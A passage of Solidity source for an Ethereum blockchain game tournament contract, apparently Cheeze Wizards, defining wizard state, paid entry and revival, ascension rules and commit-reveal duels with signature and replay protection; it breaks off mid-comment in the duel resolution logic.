// A Wizard in the "danger zone" has opted to try to Ascend
event AscensionStart(uint256 wizardId);
// A Wizard tried to Ascend when someone was in the Ascension Chamber; locked into a fight with each other.
event AscensionPairUp(uint256 wizardId1, uint256 wizardId2);
// A Wizard in the Ascension Chamber wasn't challenged during the Fight Window, their power triples!
event AscensionComplete(uint256 wizardId, uint256 power);
// A Wizard has been revived; power is the revival amount chosen (above Blue Mold level, below maxPower)
event Revive(uint256 wizId, uint256 power);
// One Wizard sent all of its power to another. "givingWizId" has zero power after this
event PowerGifted(uint256 givingWizId, uint256 receivingWizId, uint256 amountGifted);
// The winner (or one of the winners) has claimed their portion of the prize.
event PrizeClaimed(uint256 claimingWinnerId, uint256 prizeAmount);
// Used to prefix signed data blobs to prevent replay attacks
byte internal constant EIP191_PREFIX = byte(0x19);
byte internal constant EIP191_VERSION_DATA = byte(0);
/// @dev The ratio between the cost of a Wizard (in wei) and the power of the wizard.
/// power = cost / powerScale
/// cost = power * powerScale
uint256 public powerScale;
/// @dev The maximimum power level attainable by a Wizard
uint88 internal constant MAX_POWER = uint88(-1);
// Address of the GateKeeper, likely to be a smart contract, but we don't care if it is
// TODO: Update this address once the Gate Keeper is deployed.
address internal constant gateKeeper = address(0);
// The Wizard Guild contract. This is a variable so subclasses can modify it for
// testing, but by default it cannot change from this default.
// TODO: Update this address once the Wizard Guild is deployed.
WizardGuildInterface internal constant wizardGuild = WizardGuildInterface(address(0xb4aCd2c618EB426a8E195cCA2194c0903372AC0d));
// The Duel Resolver contract
DuelResolverInterface public duelResolver;
/// @notice Power and other data while the Wizard is participating in the Tournament
/// @dev fits into two words
struct BattleWizard {
/// @notice the wizards current power
uint88 power;
/// @notice the highest power a Wizard ever reached during a tournament
uint88 maxPower;
/// @notice a nonce value incremented when the Wizard's power level changes
uint32 nonce;
/// @notice a cached copy of the affinity of the Wizard - how handy!
uint8 affinity;
/// @notice The "id" of the Duel the Wizard is currently engaged in (which is actually
/// the hash of the duel's parameters, see _beginDuel().)
bytes32 currentDuel;
}
mapping(uint256 => BattleWizard) internal wizards;
/// @notice The total number of Wizards in this tournament. Goes up as new Wizards are entered
/// (during the Enter Phases), and goes down as Wizards get eliminated. We know we can
/// look for winners once this gets down to 5 or less!
uint256 internal remainingWizards;
/// @notice A structure used to keep track of one-sided commitments that have been made on chain.
/// We anticipate most duels will make use of the doubleCommitment mechanism (because it
/// uses less gas), but that requires a trusted intermediary, so we provide one-sided commitments
/// for fully trustless interactions.
struct SingleCommitment {
uint256 opponentId;
bytes32 commitmentHash;
}
// Key is Wizard ID, value is their selected opponent and their commitment hash
mapping(uint256 => SingleCommitment) internal pendingCommitments;
/// @notice A mapping that keeps track of one-sided reveals that have been made on chain. Like one-sided
/// commits, we expect one-sided reveals to be rare. But not quite as rare! If a player takes too
/// long to submit their reveal, their opponent will want to do a one-sided reveal to win the duel!
/// First key is Duel ID, second key is Wizard ID, value is the revealed moveset. (This structure
/// might seem odd if you aren't familiar with how Solidity handles storage-based mappings. If you
/// are confused, it's worth looking into; it's non-obvious, but quite efficient and clever!)
mapping(bytes32 => mapping(uint256 => bytes32)) internal revealedMoves;
// There can be at most 1 ascending Wizard at a time, who's ID is stored in this variable. If a second
// Wizard tries to ascend when someone is already in the chamber, we make 'em fight!
uint256 internal ascendingWizardId;
// If there is a Wizard in the growth chamber when a second Wizard attempts to ascend, those two
// Wizards are paired off into an Ascension Battle. This dictionary keeps track of the IDs of these
// paired off Wizards. Wizard 1's ID maps to Wizard 2, and vice versa. (This means that each Ascension
// Battle requires the storage of two words, which is kinda lame... ¯\_(ツ)_/¯ )
mapping(uint256 => uint256) internal ascensionOpponents;
// If there are an odd number of Wizards that attempt to ascend, one of them will be left in the
// Ascension Chamber when the Fighting Window starts. ANY Wizard can challenge them, and they MUST
// accept! This structure stores the commitment from the first challenger (if there is one).
//
// NOTE: The fields in this version of the structure are used subtly different than in the pending
// commitments mapping. In pendingCommitments, the opponentId is the ID of the person you want to fight
// and the commitmentHash is the commitment of YOUR moves. In the ascensionCommitment variable, the
// opponentId is the Wizard that has challenged the ascending Wizard, and the commitmentHash is their
// own moves. It makes sense in context, but it is technically a semantic switch worth being explicit about.
SingleCommitment internal ascensionCommitment;
struct Duel {
uint128 timeout;
bool isAscensionBattle;
}
/// @notice All of the currently active Duels, keyed by Duel ID
mapping(bytes32 => Duel) internal duels;
constructor(
address cooAddress_,
address duelResolver_,
uint256 powerScale_,
uint256 tournamentStartBlock_,
uint256 admissionDuration_,
uint256 revivalDuration_,
uint256 ascensionDuration_,
uint256 fightDuration_,
uint256 cullingDuration_,
uint256 blueMoldBasePower_,
uint256 sessionsBetweenMoldDoubling_,
uint256 duelTimeoutBlocks_
)
public
TournamentTimeAbstract(
cooAddress_,
tournamentStartBlock_,
admissionDuration_,
revivalDuration_,
ascensionDuration_,
fightDuration_,
cullingDuration_,
duelTimeoutBlocks_,
blueMoldBasePower_,
sessionsBetweenMoldDoubling_
)
{
duelResolver = DuelResolverInterface(duelResolver_);
require(
duelResolver_ != address(0) &&
duelResolver.supportsInterface(_INTERFACE_ID_DUELRESOLVER), "Invalid DuelResolver");
powerScale = powerScale_;
}
/// @notice We allow this contract to accept any payments. All Eth sent in this way
/// automatically becomes part of the prize pool. This is useful in cases
/// where the Tournament organizers want to "seed the pot" with more funds
/// than are contributed by the players.
function() external payable {}
/// @notice Query if a contract implements an interface
/// @param interfaceId The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return
interfaceId == this.supportsInterface.selector || // ERC165
interfaceId == _INTERFACE_ID_TOURNAMENT; // Tournament
}
/// @notice Returns true if the Tournament is currently active.
///
/// NOTE: This will return false (not active) either before the Tournament
/// begins (before any Wizards enter), or after it is over (after all
/// Wizards have been eliminated.) It also considers a Tournament inactive
/// if 200 * blueWallDoubling blocks have passed. (After 100 doublings
/// ALL of the Wizards will have subcumbed to the Blue Wall, and another
/// 100 doublings should be enough time for the winners to withdraw their
/// winnings. Anything left after that is fair game for the GateKeeper to take.)
function isActive() public view returns (bool) {
uint256 maximumTournamentLength = blueMoldParameters.moldDoublingDuration * 200;
if (block.number > blueMoldParameters.blueMoldStartBlock + maximumTournamentLength) {
return false;
} else {
return remainingWizards != 0;
}
}
// NOTE: This might seem a like a slightly odd pattern. Typical smart contract code
// (including other smart Contracts that are part of Cheeze Wizards) would
// just include the require() statement in the modifier itself instead of
// creating an additional function.
//
// Unforunately, this contract is very close to the maximum size limit
// for Ethereum (which is 24576 bytes, as per EIP-170). Modifiers work by
// more-or-less copy-and-pasting the code in them into the functions they
// decorate. It turns out that copying these modifiers (especially the
// contents of checkController() into every function that uses them adds
// up to a very large amount of space. By defining the modifier to be
// no more than a function call, we can save several KBs of contract size
// at a very small gas cost (an internal branch is just 10 gas)).
function checkGateKeeper() internal view {
require(msg.sender == gateKeeper, "Only GateKeeper can call");
}
// Modifier for functions only exposed to the GateKeeper
modifier onlyGateKeeper() {
checkGateKeeper();
_;
}
function checkExists(uint256 wizardId) internal view {
require(wizards[wizardId].maxPower != 0, "Wizard does not exist");
}
// Modifier to ensure a specific Wizard is currently entered into the Tournament
modifier exists(uint256 wizardId) {
checkExists(wizardId);
_;
}
function checkController(uint256 wizardId) internal view {
require(wizards[wizardId].maxPower != 0, "Wizard does not exist");
require(wizardGuild.isApprovedOrOwner(msg.sender, wizardId), "Must be Wizard controller");
}
// Modifier for functions that only the owner (or an approved operator) should be able to call
// Also checks that the Wizard exists!
modifier onlyWizardController(uint256 wizardId) {
checkController(wizardId);
_;
}
/// @notice A function to get the current state of the Wizard, includes the computed properties:
/// ascending (is this Wizard in the ascension chamber), ascensionOpponent (the ID of
/// an ascensionChallenger, if any) molded (this Wizard's power below the Blue Mold power
/// level), and ready (see the isReady() method for definition). You can tell if a Wizard
/// is in a battle by checking "currentDuel" against 0.
function getWizard(uint256 wizardId) public view exists(wizardId) returns(
uint256 affinity,
uint256 power,
uint256 maxPower,
uint256 nonce,
bytes32 currentDuel,
bool ascending,
uint256 ascensionOpponent,
bool molded,
bool ready
) {
BattleWizard memory wizard = wizards[wizardId];
affinity = wizard.affinity;
power = wizard.power;
maxPower = wizard.maxPower;
nonce = wizard.nonce;
currentDuel = wizard.currentDuel;
ascending = ascendingWizardId == wizardId;
ascensionOpponent = ascensionOpponents[wizardId];
molded = _blueMoldPower() > wizard.power;
ready = _isReady(wizardId, wizard);
}
/// @notice A finger printing function to capture the important state data about a Wizard into
/// a secure hash. This is especially useful during sales and trading to be sure that the Wizard's
/// state hasn't changed materially between the time the trade/purchase decision was made and
/// when the actual transfer is executed on-chain.
function wizardFingerprint(uint256 wizardId) external view returns (bytes32) {
(uint256 affinity,
uint256 power,
uint256 maxPower,
uint256 nonce,
bytes32 currentDuel,
bool ascending,
uint256 ascensionOpponent,
bool molded,
) = getWizard(wizardId);
uint256 pendingOpponent = pendingCommitments[wizardId].opponentId;
// Includes all Wizard state (including computed properties) plus the Wizard ID
// TODO: remove all pending commitment code
return keccak256(
abi.encodePacked(
wizardId,
affinity,
power,
maxPower,
nonce,
currentDuel,
ascending,
ascensionOpponent,
molded,
pendingOpponent
));
}
/// @notice Returns true if a Wizard is "ready", meaning it can participate in a battle, ascension, or power
/// transfer. A "ready" Wizard is not ascending, not battling, not moldy, hasn't committed to an ascension
/// battle, and has a valid affinity.
function isReady(uint256 wizardId) public view exists(wizardId) returns (bool) {
BattleWizard memory wizard = wizards[wizardId];
return _isReady(wizardId, wizard);
}
/// @notice An internal version of the isReady function that leverages a BattleWizard struct
/// that is already in memory
function _isReady(uint256 wizardId, BattleWizard memory wizard) internal view returns (bool) {
// IMPORTANT NOTE: oneSidedCommit() needs to recreate 90% of this logic, because it needs to check to
// see if a Wizard is ready, but it allows the Wizard to have an ascension opponent. If you make any
// changes this this function, you should double check that the same edit doesn't need to be made
// to oneSidedCommit().
return ((wizardId != ascendingWizardId) &&
(ascensionOpponents[wizardId] == 0) &&
(ascensionCommitment.opponentId != wizardId) &&
(_blueMoldPower() <= wizard.power) &&
(wizard.affinity != ELEMENT_NOTSET) &&
(wizard.currentDuel == 0));
}
/// @notice The function called by the GateKeeper to enter wizards into the tournament. Only the GateKeeper can
/// call this function, meaning that the GateKeeper gets to decide who can enter. However! The Tournament
/// enforces that ALL Wizards that are entered into the Tournament have paid the same pro-rata share of
/// the prize pool as matches their starting power. Additionally, the starting power for each Wizard
/// in the Tournament can't exceed the innate power of the Wizard when it was created. This is done to
/// ensure the Tournament is possible.
/// @param wizardIds The IDs of the Wizards to enter into the Tournament, can be length 1.
/// @param powers The list of powers for each of the Wizards (one-to-one mapping by index).
function enterWizards(uint256[] calldata wizardIds, uint88[] calldata powers) external payable duringEnterPhase onlyGateKeeper {
require(wizardIds.length == powers.length, "Mismatched parameter lengths");
uint256 totalCost = 0;
for (uint256 i = 0; i < wizardIds.length; i++) {
uint256 wizardId = wizardIds[i];
uint88 power = powers[i];
require(wizards[wizardId].maxPower == 0, "Wizard already in tournament");
(, uint88 innatePower, uint8 affinity, ) = wizardGuild.getWizard(wizardId);
require(power <= innatePower, "Power exceeds innate power");
wizards[wizardId] = BattleWizard({
power: power,
maxPower: power,
nonce: 0,
affinity: affinity,
currentDuel: 0
});
totalCost += power * powerScale;
}
remainingWizards += wizardIds.length;
require(msg.value >= totalCost, "Insufficient funds");
}
/// @dev Brings a tired Wizard back to fightin' strength. Can only be used during the revival
/// phase. The buy-back can be to any power level between the Blue Wall power (at the low end)
/// and the previous max power achived by this Wizard in this tournament. This does mean a revival
/// can bring a Wizard back above their innate power! The contribution into the pot MUST be equivalent
/// to the cost that would be needed to bring in a new Wizard at the same power level. Can only
/// be called by the GateKeeper to allow the GateKeeper to manage the pot contribution rate and
/// potentially apply other rules or requirements to revival.
function revive(uint256 wizardId) external payable exists(wizardId) duringRevivalPhase onlyGateKeeper {
BattleWizard storage wizard = wizards[wizardId];
uint88 maxPower = wizard.maxPower;
uint88 revivalPower = uint88(msg.value / powerScale);
require((revivalPower > _blueMoldPower()) && (revivalPower <= maxPower), "Invalid power level");
require(wizard.power == 0, "Can only revive tired Wizards");
// There is no scenario in which a Wizard can be "not ready" and have a zero power.
// require(isReady(wizardId), "Can't revive a busy Wizard");
wizard.power = revivalPower;
wizard.nonce += 1;
emit Revive(wizardId, revivalPower);
}
/// @notice Updates the cached value of a Wizard's affinity with the value from the Wizard Guild.
/// Only useful for Exclusive Wizards that initially have no elemental affinity, and which
/// is then selected by the owner. When the Wizard enters the Tournament it might not have
/// it's affinity set yet, and this will copy the affinity from the Guild contract if it's
/// been updated. Can be called by anyone since it can't be abused.
/// @param wizardId The id of the Wizard to update
function updateAffinity(uint256 wizardId) external exists(wizardId) {
(, , uint8 newAffinity, ) = wizardGuild.getWizard(wizardId);
BattleWizard storage wizard = wizards[wizardId];
require(wizard.affinity == ELEMENT_NOTSET, "Affinity already updated");
wizard.affinity = newAffinity;
}
function startAscension(uint256 wizardId) external duringAscensionWindow onlyWizardController(wizardId) {
BattleWizard memory wizard = wizards[wizardId];
require(_isReady(wizardId, wizard), "Can't ascend a busy wizard!");
require(wizard.power < _blueMoldPower() * 2, "Not eligible for ascension");
if (ascendingWizardId != 0) {
// there is already a Wizard ascending! Pair up the incoming Wizard with the
// Wizard in the Ascension Chamber and make them fight it out!
ascensionOpponents[ascendingWizardId] = wizardId;
ascensionOpponents[wizardId] = ascendingWizardId;
emit AscensionPairUp(ascendingWizardId, wizardId);
// Empty out the Ascension Chamber for the next Ascension
ascendingWizardId = 0;
} else {
// the chamber is empty, get in!
ascendingWizardId = wizardId;
emit AscensionStart(wizardId);
}
}
function _checkChallenge(uint256 challengerId, uint256 recipientId) internal view {
require(pendingCommitments[challengerId].opponentId == 0, "Pending battle already exists");
require(challengerId != recipientId, "Cannot duel oneself!");
}
/// @notice Any live Wizard can challenge an ascending Wizard during the fight phase. They must
/// provide a commitment of their moves (which is totally reasonable, since they know
/// exactly who they will be fighting!)
function challengeAscending(uint256 wizardId, bytes32 commitment) external duringFightWindow onlyWizardController(wizardId) {
require(ascensionCommitment.opponentId == 0, "Wizard already challenged");
_checkChallenge(wizardId, ascendingWizardId);
// Ascension Battles MUST come well before the end of the fight window to give the
// ascending Wizard a chance to respond with their own commitment.
require(canChallengeAscendingWizard(), "Challenge too late");
BattleWizard memory wizard = wizards[wizardId];
require(_isReady(wizardId, wizard), "Wizard not ready");
// We don't need to call isReady() on the ascendingWizard: It's definitionally ready for a challenge!
// Store a pending commitment that the ascending Wizard can accept
ascensionCommitment = SingleCommitment({opponentId: wizardId, commitmentHash: commitment});
}
/// @notice Allows the Ascending Wizard to respond to an ascension commitment with their own move commitment,
// thereby starting an Ascension Battle.
function acceptAscensionChallenge(bytes32 commitment) external duringFightWindow onlyWizardController(ascendingWizardId) {
uint256 challengerId = ascensionCommitment.opponentId;
require(challengerId != 0, "No challenge to accept");
if (challengerId < ascendingWizardId) {
_beginDuel(challengerId, ascendingWizardId, ascensionCommitment.commitmentHash, commitment, true);
} else {
_beginDuel(ascendingWizardId, challengerId, commitment, ascensionCommitment.commitmentHash, true);
}
// The duel has begun! THERE CAN BE ONLY ONE!!!
delete ascensionCommitment;
delete ascendingWizardId;
}
/// @notice Completes the Ascension for the Wizard in the Ascension Chamber. Note that this can only be called
/// during a Resolution Window, and a Wizard can only enter the Ascension Chamber during the Ascension Window,
/// and there is _always_ a Fight Window between the Ascension Window and the Resolution Window. In other
/// words, there is a always a chance for a challenger to battle the Ascending Wizard before the
/// ascension can complete.
function completeAscension() public duringResolutionWindow {
require(ascendingWizardId != 0, "No Wizard to ascend");
BattleWizard storage ascendingWiz = wizards[ascendingWizardId];
if (ascensionCommitment.opponentId != 0) {
// Someone challenged the ascending Wizard, but the ascending Wizard didn't fight!
// You. Are. Outtahere!
ascendingWiz.power = 0;
}
else {
// Oh lucky day! The Wizard survived a complete fight cycle without any challengers
// coming along! Let's just triple their power.
//
// A note to the naive: THIS WILL NEVER ACTUALLY HAPPEN.
_updatePower(ascendingWiz, ascendingWiz.power * 3);
}
ascendingWiz.nonce += 1;
emit AscensionComplete(ascendingWizardId, ascendingWiz.power);
ascendingWizardId = 0;
}
function oneSidedCommit(uint256 committingWizardId, uint256 otherWizardId, bytes32 commitment)
external duringFightWindow onlyWizardController(committingWizardId) exists(otherWizardId)
{
_checkChallenge(committingWizardId, otherWizardId);
bool isAscensionBattle = false;
if ((ascensionOpponents[committingWizardId] != 0) || (ascensionOpponents[otherWizardId] != 0)) {
require(
(ascensionOpponents[committingWizardId] == otherWizardId) &&
(ascensionOpponents[otherWizardId] == committingWizardId), "Must resolve Ascension Battle");
isAscensionBattle = true;
}
BattleWizard memory committingWiz = wizards[committingWizardId];
BattleWizard memory otherWiz = wizards[otherWizardId];
// Ideally, we'd use the isReady() function here, but it will return false if the caller has an
// ascension opponent, which, of course, our Wizards just might!
require(
(committingWizardId != ascendingWizardId) &&
(ascensionCommitment.opponentId != committingWizardId) &&
(_blueMoldPower() <= committingWiz.power) &&
(committingWiz.affinity != ELEMENT_NOTSET) &&
(committingWiz.currentDuel == 0), "Wizard not ready");
require(
(otherWizardId != ascendingWizardId) &&
(ascensionCommitment.opponentId != otherWizardId) &&
(_blueMoldPower() <= otherWiz.power) &&
(otherWiz.affinity != ELEMENT_NOTSET) &&
(otherWiz.currentDuel == 0), "Wizard not ready.");
SingleCommitment memory otherCommitment = pendingCommitments[otherWizardId];
if (otherCommitment.opponentId == 0) {
// The other Wizard does not currently have any pending commitments, we will store a
// pending commitment so that the other Wizard can pick it up later.
pendingCommitments[committingWizardId] = SingleCommitment({opponentId: otherWizardId, commitmentHash: commitment});
} else if (otherCommitment.opponentId == committingWizardId) {
// We've found a matching commitment! Be sure to order them correctly...
if (committingWizardId < otherWizardId) {
_beginDuel(committingWizardId, otherWizardId, commitment, otherCommitment.commitmentHash, isAscensionBattle);
} else {
_beginDuel(otherWizardId, committingWizardId, otherCommitment.commitmentHash, commitment, isAscensionBattle);
}
delete pendingCommitments[otherWizardId];
if (isAscensionBattle) {
delete ascensionOpponents[committingWizardId];
delete ascensionOpponents[otherWizardId];
}
}
else {
revert("Opponent has a pending challenge");
}
}
function cancelCommitment(uint256 wizardId) external onlyWizardController(wizardId) {
require(ascensionOpponents[wizardId] == 0, "Can't cancel Ascension Battle");
delete pendingCommitments[wizardId];
}
/// @notice Commits two Wizards into a duel with a single transaction. Both Wizards must be "ready"
/// (not ascending, not battling, not moldy, and having a valid affinity), and it must be during a
/// Fight Window.
/// @dev A note on implementation: Each duel is identified by a hash that combines both Wizard IDs,
/// both Wizard nonces, and both commits. Just the IDs and nonces are sufficient to ensure a unique
/// identifier of the duel, but by including the commits in the hash, we don't need to store the commits
/// on-chain (which is pretty expensive, given that they each take up 32 bytes). This does mean that
/// the duel resolution functions require the caller to pass in both commits in order to be resolved, but
/// the commit data is publicly available. Overall, this results in a pretty significant gas savings.
///
/// Earlier versions of this function provided convenience functionality, such as checking to see if a
/// Wizard was ready to ascend, or needed to be removed from a timed-out duel before starting this duel.
/// Each of those checks took more gas, required more code, and ultimately just tested conditions that are
/// trivial to check off-chain (where code is cheap and gas is for cars). This results in clearer
/// on-chain code, and very little extra effort off-chain.
/// @param wizardId1 The id of the 1st wizard
/// @param wizardId2 The id of the 2nd wizard
/// @param commit1 The commitment hash of the 1st Wizard's moves
/// @param commit2 The commitment hash of the 2nd Wizard's moves
/// @param sig1 The signature corresponding to wizard1
/// @param sig2 The signature corresponding to wizard2
function doubleCommit(
uint256 wizardId1,
uint256 wizardId2,
bytes32 commit1,
bytes32 commit2,
bytes calldata sig1,
bytes calldata sig2) external duringFightWindow returns (bytes32 duelId) {
// Ideally, we'd use the exists() modifiers instead of this code, but doing so runs over
// Solidity's stack limit
checkExists(wizardId1);
checkExists(wizardId2);
// The Wizard IDs must be strictly in ascending order so that we don't treat a battle betwen
// "wizard 3 and wizard 5" as different than the battle between "wizard 5 and wizard 3".
// This also ensures that a Wizards isn't trying to duel itself!
require(wizardId1 < wizardId2, "Wizard IDs must be ordered");
bool isAscensionBattle = false;
if ((ascensionOpponents[wizardId1] != 0) || (ascensionOpponents[wizardId2] != 0)) {
require(
(ascensionOpponents[wizardId1] == wizardId2) &&
(ascensionOpponents[wizardId2] == wizardId1), "Must resolve Ascension Battle");
isAscensionBattle = true;
// We can safely delete the ascensionOppenents values now because either this function
// will culminate in a committed duel, or it will revert entirely. It also lets us
// use the _isReady() convenience function (which treats a Wizard with a non-zero
// ascension opponent as not ready).
delete ascensionOpponents[wizardId1];
delete ascensionOpponents[wizardId2];
}
// Get in-memory copies of the wizards
BattleWizard memory wiz1 = wizards[wizardId1];
BattleWizard memory wiz2 = wizards[wizardId2];
require(_isReady(wizardId1, wiz1) && _isReady(wizardId2, wiz2), "Wizard not ready");
// Check that the signatures match the duel data and commitments
bytes32 signedHash1 = _signedHash(wizardId1, wizardId2, wiz1.nonce, wiz2.nonce, commit1);
bytes32 signedHash2 = _signedHash(wizardId1, wizardId2, wiz1.nonce, wiz2.nonce, commit2);
wizardGuild.verifySignatures(wizardId1, wizardId2, signedHash1, signedHash2, sig1, sig2);
// If both signatures have passed, we can begin the duel!
duelId = _beginDuel(wizardId1, wizardId2, commit1, commit2, isAscensionBattle);
// Remove any potential commitments so that they won't be reused
delete pendingCommitments[wizardId1];
delete pendingCommitments[wizardId2];
}
/// @notice An internal utility function that computes the hash that is used for the commitment signature
/// from each Wizard.
function _signedHash(uint256 wizardId1, uint256 wizardId2, uint32 nonce1, uint32 nonce2, bytes32 commit)
internal view returns(bytes32)
{
return keccak256(
abi.encodePacked(
EIP191_PREFIX,
EIP191_VERSION_DATA,
this,
wizardId1,
wizardId2,
nonce1,
nonce2,
commit
));
}
/// @notice The internal utility function to create the duel structure on chain, requires Commitments
/// from both Wizards.
function _beginDuel(uint256 wizardId1, uint256 wizardId2, bytes32 commit1, bytes32 commit2, bool isAscensionBattle)
internal returns (bytes32 duelId)
{
// Get a reference to the Wizard objects in storage
BattleWizard storage wiz1 = wizards[wizardId1];
BattleWizard storage wiz2 = wizards[wizardId2];
// Compute a unique ID for this battle, this ID can't be reused because we strictly increase
// the nonce for each Wizard whenever a battle is recreated. (Includes the contract address
// to avoid replay attacks between different tournaments).
duelId = keccak256(
abi.encodePacked(
this,
wizardId1,
wizardId2,
wiz1.nonce,
wiz2.nonce,
commit1,
commit2
));
// Store the duel ID in each Wizard, to mark the fact that they are fighting
wiz1.currentDuel = duelId;
wiz2.currentDuel = duelId;
// Keep track of the timeout for this duel
uint256 duelTimeout;
if (isAscensionBattle) {
// Ascension Battles always last for a while after the current fight window to ensure
// both sides have a well-defined timeframe for revealing their moves (Ascension Battles)
// are inherently more asynchronous than normal battles.
duelTimeout = _ascensionDuelTimeout();
} else {
// Normal battles just timeout starting .... NOW!
duelTimeout = block.number + tournamentTimeParameters.duelTimeoutDuration;
}
duels[duelId] = Duel({timeout: uint128(duelTimeout), isAscensionBattle: isAscensionBattle});
emit DuelStart(duelId, wizardId1, wizardId2, duelTimeout, isAscensionBattle);
}
/// @notice Reveals the moves for one of the Wizards in a duel. This should be called rarely, but
/// is necessary in order to resolve a duel where one player is unwilling or unable to reveal
/// their moves (also useful if a coordinating intermediary is unavailable or unwanted for some reason).
/// It's worth noting that this method doesn't check any signatures or filter on msg.sender because
/// it is cryptographically impossible for someone to submit a moveset and salt that matches the
/// commitment (which was signed, don't forget!).
///
/// Note: This function doens't need exists(wizardId) because an eliminated Wizard would have
/// currentDuel == 0
/// @param committingWizardId The Wizard whose moves are being revealed
/// @param commit A copy of the commitment used previously, not stored on-chain to save gas
/// @param moveSet The revealed move set
/// @param salt The salt used to secure the commitment hash
/// @param otherWizardId The other Wizard in this battle
/// @param otherCommit The other Wizard's commitment, not stored on-chain to save gas
function oneSidedReveal(
uint256 committingWizardId,
bytes32 commit,
bytes32 moveSet,
bytes32 salt,
uint256 otherWizardId,
bytes32 otherCommit) external
{
BattleWizard memory wizard = wizards[committingWizardId];
BattleWizard memory otherWizard = wizards[otherWizardId];
bytes32 duelId = wizard.currentDuel;
require(duelId != 0, "Wizard not dueling");
// Check that the passed data matches the duel hash
bytes32 computedDuelId;
// Make sure we compute the duel ID with the Wizards sorted in ascending order
if (committingWizardId < otherWizardId) {
computedDuelId = keccak256(
abi.encodePacked(
this,
committingWizardId,
otherWizardId,
wizard.nonce,
otherWizard.nonce,
commit,
otherCommit
));
} else {
computedDuelId = keccak256(
abi.encodePacked(
this,
otherWizardId,
committingWizardId,
otherWizard.nonce,
wizard.nonce,
otherCommit,
commit
));
}
require(computedDuelId == duelId, "Invalid duel data");
// Confirm that the revealed data matches the commitment
require(keccak256(abi.encodePacked(moveSet, salt)) == commit, "Moves don't match commitment");
// We need to verify that the provided moveset is valid here. Otherwise the duel resolution will
// fail later, and the duel can never be resolved. We treat a _valid_ commit/reveal of an _invalid_
// moveset as being equivalent of not providing a reveal (which is subject to automatic loss). I mean,
// you really should have known better!
require(duelResolver.isValidMoveSet(moveSet), "Invalid moveset");
if (revealedMoves[duelId][otherWizardId] != 0) {
// We have the revealed moves for the other Wizard also, we can resolve the duel now
if (committingWizardId < otherWizardId) {
_resolveDuel(duelId, committingWizardId, otherWizardId, moveSet, revealedMoves[duelId][otherWizardId]);
} else {
_resolveDuel(duelId, otherWizardId, committingWizardId, revealedMoves[duelId][otherWizardId], moveSet);
}
}
else {
require(block.number < duels[duelId].timeout, "Duel expired");
// Store our revealed moves for later resolution
revealedMoves[duelId][committingWizardId] = moveSet;
}
}
/// @notice Reveals the moves for both Wizards at once, saving lots of gas and lowering the number
/// of required transactions. As with oneSidedReveal(), no authentication is required other
/// than matching the reveals to the commits. It is not an error if oneSidedReveal is called
/// and then doubleReveal, although we do ignore the previous one-sided reveal if it exists.
/// The _resolvedDuel utility function will clean up any cached revealedMoves for BOTH Wizards.
///
/// NOTE: As with the doubleCommit() method, the Wizards must be provided in _strict_ ascending
/// order for this function to work correctly.
///
/// NOTE: This function will fail if _either_ of the Wizards have submitted an invalid moveset.
/// The correct way of handling this situation is to use oneSidedReveal() (if one moveset is valid
/// and the other is not) and then let the Battle timeout, or -- if both movesets are invalid --
/// don't do any reveals and let the Battle timeout.
///
/// Note: This function doens't need exists(wizardId1) exists(wizardId2) because an
/// eliminated Wizard would have currentDuel == 0
/// @param wizardId1 The id of the 1st wizard
/// @param wizardId2 The id of the 2nd wizard
/// @param commit1 A copy of the 1st Wizard's commitment, not stored on-chain to save gas
/// @param commit2 A copy of the 2nd Wizard's commitment, not stored on-chain to save gas
/// @param moveSet1 The plaintext reveal (moveset) of the 1st wizard
/// @param moveSet2 The plaintext reveal (moveset) of the 2nd wizard
/// @param salt1 The secret salt of the 1st wizard
/// @param salt2 The secret salt of the 2nd wizard
function doubleReveal(
uint256 wizardId1,
uint256 wizardId2,
bytes32 commit1,
bytes32 commit2,
bytes32 moveSet1,
bytes32 moveSet2,
bytes32 salt1,
bytes32 salt2) external
{
// Get a reference to the Wizard objects in storage
BattleWizard storage wiz1 = wizards[wizardId1];
BattleWizard storage wiz2 = wizards[wizardId2];
// In order to match the duel ID generated by the commit functions, the Wizard IDs must be strictly
// in ascending order. However! We don't actually check that here because that just wastes gas
// to perform a check that the duel ID comparison below will have to do anyway. But, we're leaving
// this commented out here as a reminder...
// require(wizardId1 < wizardId2, "Wizard IDs must be ordered");
// Confirm that the duel data passed into the function matches the duel ID in the Wizard
bytes32 duelId = keccak256(
abi.encodePacked(
this,
wizardId1,
wizardId2,
wiz1.nonce,
wiz2.nonce,
commit1,
commit2
));
// NOTE: We don't actually need to check the currentDuel field of the other Wizard because
// we trust the hash function.
require(wiz1.currentDuel == duelId, "Invalid duel data");
// Confirm that the reveals match the commitments
require(
(keccak256(abi.encodePacked(moveSet1, salt1)) == commit1) &&
(keccak256(abi.encodePacked(moveSet2, salt2)) == commit2), "Moves don't match commitment");
// Resolve the duel!
_resolveDuel(duelId, wizardId1, wizardId2, moveSet1, moveSet2);
}
/// @notice An utility function to resolve a duel once both movesets have been revealed.
function _resolveDuel(bytes32 duelId, uint256 wizardId1, uint256 wizardId2, bytes32 moveSet1, bytes32 moveSet2) internal {
Duel memory duelInfo = duels[duelId];
require(block.number < duelInfo.timeout, "Duel expired");
// Get a reference to the Wizard objects in storage
BattleWizard storage wiz1 = wizards[wizardId1];
BattleWizard storage wiz2 = wizards[wizardId2];
int256 battlePower1 = wiz1.power;
int256 battlePower2 = wiz2.power;
int256 moldPower = int256(_blueMoldPower());
if (duelInfo.isAscensionBattle) {
// In Ascension Battles, if one Wizard is more powerful than the other Wizard by
// more than double the current blue mold level, we cap the at-risk power of that
// more powerful Wizard to match the power level of the weaker wizard. This probably
// isn't clear, so here are some examples. In all of these examples, the second wizard
// is more powerful than the first, but the logic is equivalent in both directions.
// In each case, we assume the blue mold level is 100. (The non-intuitive lines are
// marked with an arrow.)
//
// power1 | power2 | battlePower2
// 100 | 100 | 100
// 100 | 200 | 200
// 100 | 300 | 300
// 100 | 301 | 100 <==
// 199 | 200 | 200
// 199 | 300 | 300
// 199 | 399 | 399
// 199 | 400 | 199 <==
//
// This technique is necessary to achieve three somewhat conflicting goals
// simultaneously:
// - Anyone should be able to battle an ascending Wizard, regardless of the
// power differential
// - Your probability of winning an Ascension Battle should be proportional to
// the amount of power you put at risk
// - A Wizard that is Ascending should be _guaranteed_ that, if they manage to
// win the Ascension Battle, they will have enough power to escape the next
// Blue Mold increase. (And if they lose, at least they had a fair shot.)
//
// Note that although a very powerful Wizard becomes less likely to win under this
// scheme (because they aren't using their entire power in this battle), they are
